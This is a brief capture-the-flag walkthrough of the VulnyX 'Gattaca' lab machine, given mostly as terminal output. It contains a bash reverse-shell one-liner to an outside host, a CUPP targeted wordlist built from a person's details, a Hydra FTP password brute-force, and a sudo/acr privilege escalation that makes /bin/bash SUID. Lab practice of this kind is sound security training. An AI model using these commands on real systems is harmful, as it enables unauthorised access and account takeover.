靶场练习-vulnyx：Gattaca

┌──(root㉿kali)-[~]

└─# cat shell.sh             

#!/bin/bash

bash -i >& /dev/tcp/192.168.1.129/4444 0>&1

┌──(root㉿kali)-[~]

└─# python -m http.server 8000                                                    

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

192.168.1.172 - - [01/Jun/2024 12:57:43] "GET /shell.sh HTTP/1.1" 200 -

┌──(kali㉿kali)-[~/cupp]

└─$ cupp -i

 ___________ 

   cupp.py!                 # Common

      \                     # User

       \   ,__,             # Passwords

        \  (oo)____         # Profiler

           (__)    )\   

              ||--|| *      [ Muris Kurgas | [email protected] ]

                            [ Mebus | https://github.com/Mebus/]

[+] Insert the information about the victim to make a dictionary

[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: irene

> Surname: cassini

> Nickname: i.cassini

> Birthdate (DDMMYYYY): 

> Partners) name: 

> Partners) nickname: 

> Partners) birthdate (DDMMYYYY): 

> Child's name: 

> Child's nickname: 

> Child's birthdate (DDMMYYYY): 

> Pet's name: 

> Company name: gattaca

> Do you want to add some key words about the victim? Y/[N]: n

> Do you want to add special chars at the end of words? Y/[N]: y

> Do you want to add some random numbers at the end of words? Y/[N]:y

> Leet mode? (i.e. leet = 1337) Y/[N]: y

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...

[+] Saving dictionary to irene.txt, counting 7964 words.

[+] Now load your pistolero with irene.txt and shoot! Good luck!

┌──(root㉿kali)-[~]

└─# hydra -l i.cassini -P irene.txt ftp://127.0.0.1/ -I -t 64 -V

Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-06-01 23:55:31

[DATA] max 64 tasks per 1 server, overall 64 tasks, 7532 login tries (l:1/p:7532), ~118 tries per task

[DATA] attacking ftp://127.0.0.1:21/

[21][ftp] host: 127.0.0.1   login: i.cassini   password: 1r3n3!$%

www-data@gattaca:/var/www/gattaca$ su i.cassini

Password: 

i.cassini@gattaca:/var/www/gattaca$ sudo -l

Matching Defaults entries for i.cassini on gattaca:

    env_reset, mail_badpass,

    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,

    use_pty

User i.cassini may run the following commands on gattaca:

    (ALL : ALL) NOPASSWD: /usr/bin/acr

i.cassini@gattaca:/var/www/gattaca$ cd ~

i.cassini@gattaca:~$ touch exploit && chmod +x exploit

i.cassini@gattaca:~$ echo "chmod 4777 /bin/bash" > exploit 

i.cassini@gattaca:~$ sudo /usr/bin/acr -r exploit

error: this is not an acr generated configure script.

i.cassini@gattaca:~$ bash -p

bash-5.2# cat /root/root.txt

bd1061ef36aca528a49f69c00f1feb66